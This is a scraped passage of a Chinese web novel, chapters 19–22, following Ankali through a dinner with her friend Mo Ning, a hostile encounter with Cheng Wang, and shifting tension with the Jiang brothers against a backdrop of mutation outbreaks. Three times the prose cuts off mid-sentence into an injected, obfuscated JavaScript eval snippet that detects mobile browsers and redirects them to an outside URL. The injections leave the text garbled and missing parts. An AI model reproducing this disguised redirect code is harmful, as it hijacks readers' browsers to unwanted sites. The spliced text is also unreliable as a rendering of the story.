安卡莉到现在听明白舒师姐是想说什么了,她担心她会因为稽察员的求偶行为从而对其生出好感,然后陷入一段无疾而终的感情里。 她笑了笑,保证道:“师姐放心,我会提高警惕心的。”,又嘴甜夸赞:“师姐真好。” 舒敏见解释清楚了,便嗯了一声,接着做实验,只是微微发红的耳廓暴露了她此时的心理。 安卡莉刚走出园区,一阵‘哔哔’声就转进了她的耳朵里,她只是轻微皱了皱眉便接着继续走。 但那辆车好像也和她是一样的想法,接着继续哔了两声。 安卡莉只好抬头看过去,这一看就看到了熟人。 “莫宁?!”,这确确实实惊讶到她了。 莫宁手肘撑在车窗上,两只手在嘴边围成一个圈,像是喇叭那样用来扩大音量,“快过来。” 安卡莉向前跑了几步,睁着一双明亮的眼睛明知故问:“你等我下班?” “你以为。”,对方给了一个肯定回答。 “怎么不联系我,我好早点下来。”,安卡莉将被风吹乱的碎发重新别到耳朵后面。 莫宁风轻云淡道:“告诉你了还怎么算惊喜?” “快上车,外面冷死了。” 想到什么,安卡莉问:“你哪里来的车?又是怎么进来的?”,不是说稽察部只允许内部车进入吗? “我姐的。” “你忘了,我姐是稽察部的审讯员。” 莫宁说起这个,她倒是想起来了,莫时意姐姐两年前就在稽察部工作了。 她系上安全带,问道:“那我们去哪?” 莫宁打开了车灯,思考了一瞬,“去你家吃炒鸡怎么样?”,她转动了方向盘,“我记得我在你家还冻了半只鸡,再配上点凉菜,够我俩吃了。” 19. 第十九章 安卡莉罕见的不说话了,因为那半只鸡被她吃了,还是背着对方吃的,最重要的一点是,她是和莫宁不喜欢的人吃的,这简直buff叠满。 她企图转移话题,“我们吃火锅吧,我记得名亭小巷有家火锅很出名。” “不要,我今天想把那半只鸡吃了,馋你炒的鸡了。”,莫宁视线快速从安卡莉方向扫过,又继续直视前方道路。 安卡莉无奈叹气,“那先去超市吧。” 此时的莫宁还没有任何的怀疑,以为好友只是想去买点佐料和配菜,但等安卡莉拎着一袋被剁好的鸡肉块后,她反应过来了。 “说吧,鸡呢?”,莫宁双手抱胸,盯着对方的眼睛质问。 安卡莉耸了耸肩,只好诚实说道:“我和江斯理一起吃了。” 莫宁听到那个名字,本能的皱起眉,“你吃了就算了,怎么能给他吃呢?” “我也不想的,他不知道听谁说我炒鸡做得好吃,说想尝尝,但那天我刚好把鸡拿出来解冻,就这样被他看见了,事情也就发生了。” 安卡莉觉得自己冤枉,那炒鸡本来可以一个人吃的,但偏偏就是那么不凑巧。 听到中间部分的时候,莫宁摸了摸鼻子,“不是我说的。” ? 安卡莉抬头,这怎么有种此地无银三百两的感觉? 重新上车的时候,安卡莉凑近了莫宁一些,问出了一个自己感兴趣很久的问题,“你为什么这么讨厌江斯理?” “我记得你们两个之前关系还可以啊。” 他们三个其实都是高中的同班同学,只是后面不知道为什么莫宁开始远离江斯理,导致现在两人互相看不惯。 莫宁撇了撇嘴,“突然就看他不顺眼了,没有什么原因。” 好友不肯说,安卡莉也没有再纠结。 吃饭的时候,她突然想到今天收到的消息。 是林澈的。 “林澈?你去送书的那个学弟?”,莫宁有些惊讶的反问。 “对。” “他为什么要约你明天见面?有什么话今天不能说还是光脑里不能说?”,莫宁有点不理解。 安卡莉摇头,她也不清楚,毕竟他们只见过这一面。 “一见钟情?”,莫宁咬着筷子开玩笑道。 除此之外也很难解释现在的情况。 安卡莉听见这话失笑出声,有些无奈地用手敲了敲桌子,发出响声:“你还是继续吃饭吧。” 莫宁可没有被她这番话转移开话题,反而将筷子放下,双手抱胸,然后打量起面前的人。 那是一张极其清丽的脸,眼眸微垂,眼尾天然上扬,总是透着些柔和。 耳边落下的碎发搭在她肩上,在暖和的灯光下,莫宁只觉得她像是画中人。 “满分!” “我宣布。” 突然加大的音量让安卡莉心跳停了半拍,她看向始作俑者,眼底带笑,“怎么就满分了?” 莫宁往前挪了挪椅子,伸出手,开始说一个优点弯下一根手指,“性格好,长相好,学历好,工作好,简直满分!” “林澈喜欢你也是情有可原。”,说完她还若有其事地点了点头。 安卡莉真的被她逗笑了,就只是约她见面都能被脑补成喜欢她。 她放下筷子,侧了侧头,“都说好友会闭着眼睛夸,今天我才感受到。” 莫宁听见这话,立马反驳了一声:“乱说。” “我家宝贝,谁看了不说一声好!” 看到对方认真的夸奖,安卡莉心软了一瞬,但这只是一瞬,下一秒对方就暴露了本性。 “所以,你对林澈感觉怎么样?”,莫宁眼睛里闪着八卦的光,嘴角不自觉上扬。 为了打断对方当红娘的心,安卡莉‘唔’了一声,“你就不怕他接近我有什么目的吗?” 倒也不是她瞎猜的,就林澈在她面前的表现有一种……很刻意的感觉。 是的,就是刻意。 刻意地让她知道三楼的辅导员办公室。 刻意地让她听到他如今的状况。 甚至…… 安卡莉抬头望向莫宁,她不知道林澈是不是也将莫宁算进去了。 “他人倒是挺好的。”,莫宁回想自己与对方的交集点,似乎没有什么不对劲的地方。 但…… 比起林澈这么一个学弟,她会更相信自己好友的感觉。 所以在说完这句话之后,莫宁皱了皱眉,“你既然这样问,是发现了什么吗?” 在她的认知当中,好友是不会平白无故说出这种猜测的人。 安卡莉将自己的猜测告诉莫宁,这瞬间莫宁也沉思起来。 虽然她不喜欢参与自己家族里的明争暗斗,但不代表她看不出那些藏在皮囊下腐烂的心脏,即使她再不承认,她也是莫家人。 现在回想起,当时她在光脑里告知对方自己去不了请朋友代替自己时,对方突然的愣住。 过了好几秒,莫宁才听见光脑里传出声音。 “如果下午不行的话,我们可以改时间的。” “这样就不用麻烦学姐的朋友了。” 听着对方善解人意的言语,莫宁觉得他真的是大家口中那样的人。 虽然被诬陷,前路迷茫,但林澈为人正直,对人友善。 只不过因为莫宁说了一句,“但你明天就开始上这门课了……”,剩下的话她没有说完,但两人都知道是什么意思。 对方就没有再说改时间的话,而是低哑着声音道:“那就麻烦莫宁学姐请你的朋友帮忙了。” 现在想来也许是因为如果再次婉拒的话会让人生疑,所以林澈也就答应了下来。 听完莫宁的描述,安卡莉发现了一个漏洞。 她抿了抿唇,“如果是这样的话,那林澈应该一开始是打算让你帮忙的。” “那为什么后面又换成了我?” “难道是,因为知道我现在很穷?” 原本正经的讨论突然被莫宁的一个冷笑话弄得两方对视相笑起来。 最终话题以安卡莉的‘明天见面就知道了’而结束。 她也有些好奇,明天的林澈约她见面会做些什么。 将好友送到门口,看着对方将车开走之后,安卡莉才抬头望了望天,细碎的雪花飘在半空中,天色呈现出灰蒙的雾蓝色。 她将手揣进口袋中,踩着薄薄的一层雪,回到家中。 紧接着她拿了一套明天要穿的衣物,又重新打开门。 散漫的雪花晃晃悠悠的飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15743477|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,稀疏的挂在她的头发,围巾以及衣物上。 路面早已经被清理出来,她穿着厚重的靴子沿着旧区往新区走。 马上要到江斯理家时,天色渐沉,一点火星子发出红黄交接的光点。 走进一看,是一个垂着头的人。 散出的白色烟雾模糊了他的五官,只能看见对方削瘦的身体,那是即使穿着宽大厚重的衣物也遮挡不住的削瘦。 但光是看见那头即将与飘雪融为一体的白金色头发,就足以让她分辨出此人是谁。 更不要说他那显得有些病态的体质。 烟雾被风吹散开,她的目光被对方捕捉到。 两目相对。 他又吸了一口烟,垂下手,手腕往后一用力,将烟头压在墙面上熄灭,然后朝着安卡莉靠近。 安卡莉动了动脚,往后退了两步,神色略显凝重。 难道因为昨天那件事她真的被对方记恨了? 所以今天特意来找她麻烦? “咚。” 一道声响从她的身后传出。 安卡莉往后看去,是她的脚碰到后面黑色垃圾箱发出的声音。 耳边掠起一阵冷风。 她回过头,就见程妄站在她一掌距离的位置,缓慢地弯下了腰。 安卡莉拧起了眉,但始终没有再动。 她清楚程妄很厌恶她,所以不会跟她有任何的肢体接触。 但现在…… 她不知道对方像这样做的原因。 只见他越来越靠近的身体顿了一瞬,紧接着呼吸一滞,抬眸看向她的瞬间眼里浮现出不解,就好像她的反应不在他意料之中一样。 仅仅只是这一个瞬间,程妄便蓦地露出嫌恶的表情,绕开她吐出烟雾,将烟头丢进垃圾桶。 难闻的烟气混杂着冷冽的风。 安卡莉抬起手捂住嘴,挡住嘴里发出的咳嗽声。 【好感度-1】 听着耳边传来的机械声。 程妄猛地转头看向安卡莉。 她就静静站在那里,好像什么都和她无关一样,浅浅的眼皮被抬起,眸子里是对他的不耐。 程妄心里突然生出一股子气,指节握得发白,下颌咬紧,本就苍白的皮肤浮现出淡青色的血管纹路,透出点易碎的美。 可惜,此时的安卡莉无心顾及。 看着灰暗的天色,她实在是不想再与他继续纠缠下去了。 但没想到对方动作更快。 突如其来的一只手迅速拉住了她的手腕,将她往旁边路口带,安卡莉猝不及防被带了个踉跄。 还没等她稳住身形,前面的人望了一眼他们的交握处,眼光一沉,立马将她甩开,像是碰到了什么脏东西一样。 没有任何准备的安卡莉被甩到一侧的墙壁上。 即使穿着厚重的衣物,她还是感觉到了那瞬间撞击的疼痛。 程妄也没有想到对方会撞到墙壁,他凝目看着安卡莉,垂在身侧的手动了动。 这时,脑中的声音再次响起。 【好感度-1】 【好感度-1】 在这瞬间。 风声夹杂着木制香气,温热的触感接触到他的脸,‘啪’的一声,程妄的脸因为惯性而向左偏移。 20. 第二十章 面前的人垂着头,头发散乱,被编成辫子的发尾也不知道什么时候松开,顺着他的肩搭在胸前。 程妄冷着眸子摸了摸刺痛的脸,顶了顶脸颊,挥之不去的羞辱感瞬间涌入他的心头。 这是他第一次被女性打,打得还是脸。 安卡莉绷紧唇角,握着发麻的手心。 在她面前的是微眯着眸子,眼中闪过隐忍怒火的一张脸,而且上面还带着红痕。 她还没来得及开口,程妄目光森然地从她面部扫过,带着令人窒息的冷意。 他声音嘶哑的开口,冷笑着说:“安卡莉,你很好!” 她当然很好。 她现在只感觉刚才那巴掌还不够用力。 因为只有痛才能让人长记性。 “程妄,我不觉得我们关系好到有什么话题可以聊。” “以至于……” 说这句话的时候,安卡莉扫了一圈四周。 嘴角含着冷笑,“你把我带到这里来。” “如果你没什么要说的,我要走了。” 话毕,安卡莉从他旁边走过。 程妄伸出手拦住她,等对方看向他时,他的眸光短暂停留,随即眼底闪过一抹无法抑制的厌恶,一字一句道:“你对我做了什么你心里清楚。” 昨天的经历瞬间涌上他的脑中。 哆嗦着手才将门打开的程妄,沉重地抬起脚撑着墙面往前走。 在安静无声的空间中,他只能听见自己大口的呼吸声和耳边的嗡鸣音,这让他忍不住皱着眉朝旁边挥手,好似这样那些声音便能消退一样。 残缺的腿上传来痛感,他将手撑着墙壁,胸腔内发出气声。 在黑暗无边的室内,只有从窗外悬在半空中的月亮发出微弱的光芒。 他慢慢抬起头,立领的白色衬衣已经紧紧贴着他的背部,斑驳的色块,肩侧杂乱的辫子,无不在诉说着他此时的狼狈。 他胸膛起伏不定,口中是断断续续的喘息,眸子晦暗不明地望着那只残缺的腿。 眼底的淤青,苍白的唇色,让他本就瘦弱的身体流露出一种近乎病态的绮靡。 偌大的房间里只能听见他痛苦的呻吟,床边放着的是早已经对他不起作用的止痛药。 “嗬!” 不知道是梦到了什么,程妄猛地睁开眼睛。 他低声喃喃道:“攻略……安卡莉。” 他忍着痛站起身,推开窗户,失力地将手撑在上面,试图通过外面呼啸的风让自己的头脑保持清醒。 但即使如此那道机械化的声音还在继续。 “咚”一声闷响,只见程妄沉着眸子一拳打在墙面上,咬着牙,握着的指节发白流出鲜血,一双眼睛死死盯着墙面。 程妄这句话无疑又将安卡莉拉进了江祁发烧那天晚上。 他现在的话和江祁所说的话简直一模一样。 可她并没有对他们做什么,甚至她找不出自己言语上的任何错误。 但程妄现在的表情和神色活像她做了什么罪不可及的事情一样。 本来昨天对他就没有好感,现在突然被这么对待,任凭安卡莉的性格有多好,也会生出不满。 她一把推开对方的手,冷声道:“程妄,我不知道我做了什么。” “但你知道你在做什么吗?” 被推开的程妄一时之间有些愣神。 随着一声声的机械提示音,他感觉喉咙越来越痒,甚至只能看着安卡莉离开,而没有办法阻拦下她。 程妄弯着腰发出一声又一声的咳嗽,有一种要将肺都咳出的感觉。 突然。 一股腥甜的味道从喉咙涌上来,他猛地一咳嗽,粘稠的血瞬间染红了面前堆叠的雪层。 他的肺部在呼吸间出现断断续续的杂音,就像漏气的气球一样,装不满空气。 痒意再一次涌上喉咙,本就因为咳嗽而缺氧的大脑此时变得更加模糊,他只能让身体放低,半跪在地上,手撑在雪地上,再次发出咳嗽声。 从他的嘴角溢出的血顺着下巴滴在地面上。 苍白雪地,猩红的血晕开一片,继而又被新雪覆盖。 程妄用手擦掉嘴边的血迹,缓慢撑着墙体晃晃悠悠站了起来。 眼前的眩晕还没有完全缓解,他的苍白惨淡的脸甚至因咳嗽而染上点点绯红,湿润的发丝粘连在血管几乎透明的脖颈上,更加透出一股几乎病态的阴郁。 他垂眸,扯了扯嘴角,“原来,这就是所谓的惩罚。” 安卡莉照常打开黑色的铁门,进入小院子,只是在用电子密码开门时,她迟疑了一瞬。 她站在原地思考着刚才程妄说的那句话,这是她第二次听见这样的话了。 如果要说这两者有什么共同点的话,安卡莉只能说,都和她短暂的接触过? 她似乎只想到了这一点,除此之外,她并不知道自己对他们做了什么,以至于他们两个人都来质问她。 但无论这么说,安卡莉还是觉得有些心慌,一种不确定的,让她没有安全感的心慌。 从厨房和阳台穿过时,她刚好看见了一道身影站在厨房,手里拿着玻璃杯,垂着眸不知道在想些什么。 安卡莉上前打了声招呼,礼貌道:“江祈哥。” 江祈听见声音遂而抬眸。 他的眼皮抬起,压在眼睛上方,眼尾显出淡淡的折痕,眼睛里透着些天生的冷意,不浓烈但很难让人忽略。 他平直地扫过来,只感觉他的眼里除了朦胧的光只剩下了她一人。 莫名安卡莉觉得对方的态度好像不太一样了。 但她有些说不上来哪里不一样。 “卡莉。” 他的声线像今天的细雪,浅淡的冷中带着绵意。 话题本该在这里结束,但当安卡莉再次开口说‘那江祈哥我就先上去了’时被对方叫停。 “卡莉。” 两次重复她的名字,安卡莉突然不知道该怎么去正视这两个字,她甚至感觉到了些……眷恋? 只见江祈轻声放下自己手中的杯子,从桌子一侧走到她的身旁,遮挡住了她身侧明亮的光线,让她彻底被笼罩在对方高大修长的身影下。 她仰起头,望向对方,“怎么了吗?江祈哥。” 他抬手指了指自己的颈窝,安卡莉自然也顺着他的动作看过去。 江祈穿了一件灰色的毛衣,领子是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15754341|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的圆领,所以她一眼望去就能看见对方突起的锁骨以及颈侧那完全能看清楚的两颗小痣,随着他喉结的滚动而起伏。 “你,还要看多久?” “嗯?” 安卡莉疑惑看向他的眼眸,眼里是不解。 难道不是他让她看的吗? 江祈将落在她脸上的目光移开,直视前方,“我是指你的围巾,在我那里。” 这话一出,安卡莉有些不自然地移开眼。 任谁看见这个动作都会看过去吧,她又怎么能联系到自己的围巾呢。 安卡莉试图为自己的动作找一个借口。 跟着对方走到他房间门口时,她停下了脚步。 江祈脚步一顿,对她道:“进来吧。” 得到对方同意的安卡莉迈进了房门。 是带着清苦味道的房间,和他这个人身上的味道一模一样,也许是因为职业习惯,所以他的房间非常整齐,统一色系,统一标准。 唯一不一样的应该就是放在斗柜上的泥塑猫咪和房间里装着蓝色鸢尾花的花瓶。 深浅不一的蓝色为这个房间增添了一点亮色,不至于看起来过于沉闷。 安卡莉不否认在冬天里看见漂亮的鲜花会让人心情愉悦,但它的价格却让她望而却步。 如果拿她现在的工资作比较的话,就这一束鸢尾花要花掉她工资的十分之一,因为培养非应季花的技术很昂贵。 但…… 安卡莉摸摸了耳环,她总觉得这个花卉的样子在哪里见过,只不过一时之间想不起来。 向四周看去,江祈走到衣柜侧面拿出了一个浅色系的袋子,紧接着走到了她的面前,将袋子递给她。 “卡莉,你的围巾。” 安卡莉接过的时候不免会碰触到他的指节,只不过她的注意力不在这上面,而是对方说的话上。 “那天我看你围巾落在车座上便帮你拿回来了。” “抱歉,现在才给你。” 他垂眸道着歉。 安卡莉见状柔和的开玩笑道:“我还以为被我弄丢了。” “幸好被江祈哥捡到了,我还要谢谢你呢。” 她当然知道自己的围巾被他带走了,而且她还不敢开口要回来,但这种情况她也不能把实话说出来。 只不过为什么今天才跟她说? 明明这两天他们经常见面的,安卡莉不着痕迹的瞥了他一眼。 视线一移,她促然看见外面快要暗下来的天色。 安卡莉提着袋子,指了指门口,眼神向外瞥,“那我就先上三楼了?江祈哥。” “好。” 等她离开的时候,江祈发现刚才她所站的位置留下了一样东西。 从房间出来,安卡莉拎起袋子瞧了瞧,的确是她的围巾没错。 等快要放下时,一股清香混杂着苦涩的味道萦绕在她的鼻尖,似乎比在对方房间里闻到的味道还要重一些。 安卡莉微微颦眉,从袋子里拿出折的很整齐的围巾凑到鼻尖,的确是从上面散发出的味道。 难道说,江祈帮她洗过了才会染上这股香气? 安卡莉沉思了片刻,又将其放进了袋子里。 21. 第二十一章 关上门,她把换洗衣物的袋子和装着围巾的袋子一起放在床尾,解下围巾,准备脱下外套时。 安卡莉就突然想到她为什么会觉得花瓶里的花束眼熟了,因为江祈的身份徽章上也是鸢尾花,只不过是紫色的。 但,如果是因为自己的代表花是紫色的鸢尾,那为什么要买蓝色的鸢尾? “卡莉?” 从洗漱间里走出的江斯理透过模糊的玻璃看见了对方房间里影影绰绰的身影,他不确定地开口道。 安卡莉脱下外套的手一顿,应了一声。 她穿着里面的奶白色开衫毛衣拉开两间房中间的玻璃隔断。 “哗啦。” 仅仅只是一瞬间,安卡莉就看见了对方上半身裸露在外。 平时看起来清瘦的身材,此时却展现出恰到好处的肌肉,宽肩窄腰,是一种少年感和力量感相平衡的状态。 也几乎是她看过去的一瞬间,江斯理身上的皮肤就泛起了粉红色,他立刻拿起床上的衣服进行遮挡,然后声调上扬,“喂,你不知道非礼勿视吗?” 安卡莉垂眸转身,柔声道:“不好意思,不知道你没穿衣服。” 江斯理耳尖发烫的将衣服往头上套,拉好下摆之后才生硬开口:“好了。” 听见声音,安卡莉转身回去,就见对方拿着毛巾擦着湿润的头发,手臂青筋随着动作突显。 也许是好一会儿没听见她说话,停下动作看了她一眼又继续,“就没什么想说的?” 安卡莉思考了一瞬,点评道:“身材不错。” “……谁问你这个了?” 江斯理试图让紊乱的呼吸停下,但脑海里始终浮现刚才对方说的话。 身材不错,身材不错…… 安卡莉转念反应过来,原来不是让她评价身材啊。 她走到床边的窗户面前,开始正经问道:“你的类肢应该消失了吧。” 这是异化期的第三天了,如果注射了阻断剂,类肢到第三天结束都还没有消失的话,他就该去异化生物部进行隔离了。 江斯理听见对方说起这个话题,擦了一下头发,“今天早上就已经消失了。” 从早上开始他就没有听到过那些吵人的细碎声音了,甚至突然之间安静的空间让他还有些不习惯。 安卡莉露出一个由衷的笑容,“那很好啊。” 虽然这应该是百分之九十九确定的结果,但谁也不能保证他是不是那剩下的百分之一,现在知道确切答案之后,她也不用跟着担心了。 “这样说起来的话,你明天也不用被限制人身自由了。”,安卡莉望着他打趣道。 江斯理愣了会神,继而抬头,浅褐色的眸子里跃进亮光,他张了张嘴打算说什么。 但最终只是将毛巾盖在脸上,身体往后仰,躺在床上翁声道:“是啊,你应该早就烦我了。” 安卡莉从旁边拿了张椅子,往前走了两步,将其放在床边,坐下之后清丽的脸上露出笑容,“怎么会,我可是在等你出现特殊的能力。” “那样,说不定我也能拥有呢。” 毕竟安抚者也有一定几率会拥有异化者特殊的能力。 江斯理拿走毛巾,坐起身,脚踢了踢椅子发出轻微的声响,“你说的是,万一出现了特能,你还要感谢感谢我。” 见对方开玩笑,安卡莉也顺着话头往下讲:“到时候我提个果篮来怎么样?” 就听见他发出一声轻笑,“呵,一个果篮就够了?” 安卡莉觉得好笑,将手抬起,竖起了两根指头,“那,两个?” 江斯理被彻底逗笑,咧着嘴,眼睛微弯。 这时。 一阵敲门声蓦然响起。 “叩叩叩。” 安卡莉听见声音下意识往门口看去,是江祈。 江斯理抬眸望着注意力不在自己身上的人,也扭头顺着她的视线看去。 “哥?” “进来吧。” 只见穿着刚才那身家居服的江祈打开门往前走了几步,停在两人前面的不远处。 他看向安卡莉,将手伸出,蜷缩的手指张开,在他的手心当中躺着一条闪动着光泽的手链。 手链挂饰的星芒图案的中心有一个小小的蓝钻,很是特别。 清冽似雪的声音传来,“卡莉。” “这条手链是你的吗?” 安卡莉摸了摸自己的手腕,那里本该存在的东西的确不见了。 突然。 她感受到一股灼热的视线,不用想都知道视线主人是谁。 不知道哪里来的心虚感,安卡莉快速扫了一眼怔怔看着她的江斯理,绕过床尾走了过去。 看清楚江祈掌心中的手链时,她问道:“江祈哥,你在哪捡到的?” “我房间里。” 那应该是去拿围巾时掉落的,安卡莉想。 她伸出手将其从对方手里拿走,期间动作还特意小心了一些以免碰到对方。 但此时的江祈却将手腕轻轻动了动,瞬间,她的手指与其完全接触上了。 江祈将视线放在她的脸上,开口道:“抱歉,有些痒。” 安卡莉心念一动,刚打算快些将手收回,手腕便被一只手突然抓住。 她抬眸,是压着眉的江斯理,因为头微微垂着,导致她看不清楚对方的表情,只不过从手腕上的力道来看,应该不是很好。 与此同时,江祈手中的链条也被他的另一只手拿走,握在手心,蓦地,他松了松握紧链子的手,弯腰将其放进她的手心,散漫地收回了手。 安卡莉面露不解的看着他,只见他坐到床尾,两手撑在身后,扫了他哥一眼,不耐道:“一条手链而已,磨磨蹭蹭的。” 似乎只是因为看不下去他们温吞的动作,才有的一系列动作,最后的那一句话也证实了这一点。 嗯……好像也符合他的性格,有时候是会有些不按常理出牌。 江祈并未对自己弟弟这番发言做出什么反应,只是眉头轻压,垂着眸不知道在想些什么。 安卡莉将目光重新移到江祈身上,开口道:“谢谢江祈哥。” 一声应答她道谢的‘嗯’从对方喉间发出。 一如既往的言简意赅。 只有江祈自己听着脑中回响着的机械声。 【好感度+1】 等人离开之后,江斯理玩弄着自己的手指,不经意开口道:“你怎么会去我哥房间。” “之前围巾不小心落在江祈哥车里,他帮我拿回来了。”,安卡莉解释道。 江斯理动作停顿了一瞬,抬起头,“你和我哥很熟?我怎么记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然说异化期都是三天,但是没有人在异化反应过后就立马回归日常生活的,因为此时的身体会很虚弱。 是她的原因吗? 早知道就不说那么多了,安卡莉想。 江祈没有回答她这个问题,而是说:“江斯理他不是小孩子了。” 对方的语气虽然没有什么改变,但安卡莉莫名感受到了一丝不耐,她舔了舔唇,有些局促的打算开口。 还没说出口就听见对方的道歉。 “抱歉,卡莉。” 他揉了揉眉心,抬起狭长的眼,神态认真。 安卡莉眨了眨眼,反应过来之后摇了摇头,笑着道:“没关系的江祈哥。” 看了看手腕上的手环,她道:“那江祈哥我就先走,先下楼了。” 说到中间的时候她停顿了一下,换了一个说法。 安卡莉可不想像上次一样和江祈一起去上班,因为她总感觉最近这段时间对方的态度很奇怪。 说不上来的……违和。 22. 第二十二章 走到综合大厦大门的时候,安卡莉收起了手中的伞接着晃了晃,将雪抖落下来。 霍内德的雪是带着冷气和潮气的,有时候并不只是单纯的下雪,而是夹杂着湿冷的雨,在室外时间长了,身上的衣物都会透着些湿气。 尽管安卡莉不是很爱打伞,但今天的雨实在有些大了,她也不得不打起了伞。 刚走到实验室时,她就在换衣间遇上了舒敏。 安卡莉抬起手打了个招呼,“早上好,舒师姐。” 舒敏看见她的瞬间像是反应过来什么一样,突然拍了一下自己的脑袋。 她上前两步,揉了揉眉心,用着还充斥着红血丝的眼睛望着她说道:“对不起,卡莉。” 对不起什么? 还没等安卡莉说出这句话,她就听见对方一副很为难的模样,“抱歉,我昨天应该跟你说今天需要轮排的,但……” 她叹了口气,“昨天发生了点事,忘记跟你说了。” 安卡莉瞬间明白对方是没有通知到位这件事对她感到了愧疚。 “没关系的,舒师姐,我现在去也来得及。” 见对方还打算说什么,她快速说道:“是不是去16楼的医疗室找医疗员就可以了?” 舒敏点了点头,“对,赵老师会跟你说工作内容的。” “好,我明白了。” 说完,安卡莉重新背上包,向外走去。 刚走出两步,她回头对着还怔怔站在原地的人道:“舒师姐,你眼睛都出现红血丝了,可以滴点眼药水。” 看着安卡莉离开的背影,舒敏笑了笑。 坐在稽察部医疗室其中一个治疗室的安卡莉拿着笔在指尖转动。 果然和之前舒师姐说的是一样的,她们只会安排一些比较轻松的活给实习生做,因为其他需要理论支撑的活实习生也做不了。 就像她现在一样。 自从被安排到这里,除了写了一份报告之外,她就一直坐着,这都快下班了,也不见有个人来。 轻松倒是挺轻松的,只不过有点无聊罢了。 “滴——” 一声剧烈的警鸣声响起,遮盖住了其他的杂音。 连安卡莉待在屋内都觉得心头一震,连忙起身向外走。 “噔噔噔。” 鞋底落在地板上发出急促的脚步声。 这是发生什么事了? 她只见几个稽察人员在医疗室和稽察人员的办公区来回穿梭,然后离去。 很快,刚刚给她安排工作的医疗员赵绮就推着移动护理车过来,看见安卡莉的瞬间吩咐道:“把ori-7异变药剂配齐跟我走。” 听到严肃且郑重的声音,安卡莉半点不该耽误,迅速将相应的药粉瓶和安瓶装进推车里和赵绮迅速往前走。 稽察部门很大,是综合大厦两栋楼连接起来的区域,所以相当于实验室的两个大。 而稽察部门的医疗室只占了其四分之一的区域,但算下来面积也不小,所以她们离稽察部的办公区要走上五六分钟的时间。 期间,赵绮解释了一下情况,有一批出任务的稽察员被异物所攻击了,现在需要防止稽察员发生异变对其注射ori-7异变药剂。 因为位置离这里最近,所以就近处理。 光听名字就知道ori-7异变药剂是用于阻止病毒复制、阻断感染进度或预防疾病发生的药物。 异物的□□与患者的伤口进行接触的时候的确是有几率会让患者进入异化期,但在此之前感染异物病毒的可能性会更高,这也是ori-7异变药剂的作用。 安卡莉动作迅速的拆注射器,配药,然后将注射器刺穿稽察员的皮肤,往里推药,抽出针管,将其丢进废弃物收集袋中,取出棉签按压在对方的针眼处。 双方零交流。 这也加快了注射ori-7异变药剂的进程。 时间过去几分钟,安卡莉将棉签按压在最后一个稽察员手臂,稽察员接过站起朝她道谢。 安卡莉笑着摆摆手说:“没事,应该的。” 旁边的赵绮也已经结束注射,露出欣慰的表情看着安卡莉,眼睛里都是赞赏,她本以为实习生没什么经验,会耽误治疗进度,但没想到对方做得很好。 这时候,赵绮不知道接了个什么光屏,急匆匆指了指推车然后离开原地往电梯口走。 安卡莉知道对方的意思,留下来把推车收好。 刚收好东西,就听见几个不同的声音从她周围发出。 “长官好。” 安卡莉先听到的就是几声问好,然后是逐渐明显的脚步声。 紧接着,一具高大的身影遮住了她前面的光,安卡莉停下了手中的动作,有预感一般的抬头。 一张清冷的脸映入眼帘。 果然,是江祈。 他穿着蓝黑色的稽察制服,在左手小臂处有一道很明显的伤口,这也是他为什么出现在这里的原因。 安卡莉跟着他们唤了一声:“江长官。” 也没等他回应便重新配置药物,拆了一只新的注射器,掰开安瓶,抽动液体,然后将液体注射进药粉瓶里,摇晃均匀之后再回抽。 江祈脱下外套,将衬衫衣袖往上折,漏出手臂。 安卡莉找到固定位置,刺穿了他的手臂,也许是因为认识的关系,导致她觉得此时此刻不说话有点尴尬。 “是什么伤了你们?”,她边拔出注射器边问道。 然后重复拿出棉签按压他手臂针孔的动作。 但对方只是接过去按压了一下便准备拿下,安卡莉见状提醒道:“会出现淤青。” 江祈顿住,说了声‘好。’ 然后估算着时间拿下。 安卡莉取出碘伏为他的伤口消毒,又为其敷上抗生素药膏用无菌敷料进行包扎。 突然一股木质香味从她的鼻尖散开。 她知道稽察部里的异化者都会喷香水对自身的味道进行遮盖。 因为异物阴影会根据异化者身上的味道进行攻击,虽然不一定对异物阴影有什么误导作用,但可以起到心理安慰的作用。 但这股味道和她的未免也太过相似了吧。 安卡莉小心抬眼去看江祈,现在离她最近的人只有他,所以这味道是从他身上散出来的? 但江祈身上原本不是清苦的味道吗? 江祈感受到对方的视线,垂下的眸子抬起与之对望,启齿道:“想说什么?” “啊?” 被发现的安卡莉眼神慌乱了一瞬,声音飘忽,“江祈哥,你是异化者?” 虽然她对这个问题不是很感兴趣,但她总不能问‘你身上味道怎么和我的那么像’吧。 即使只是友善的询问,但难免有一种挑衅人家的感觉。 “嗯。” “有什么问题吗?”,他问。 安卡莉下意识连连摇头,“没问题,我没问题。” 她的问题很冒犯吗? 要不然怎么又能久违的感受到从对方身上出现的威压感? 这种强烈的气场,再一次让她感到了不适。 包扎好之后,她放开了对方的手,垂眸道:“已经可以了,长官。” 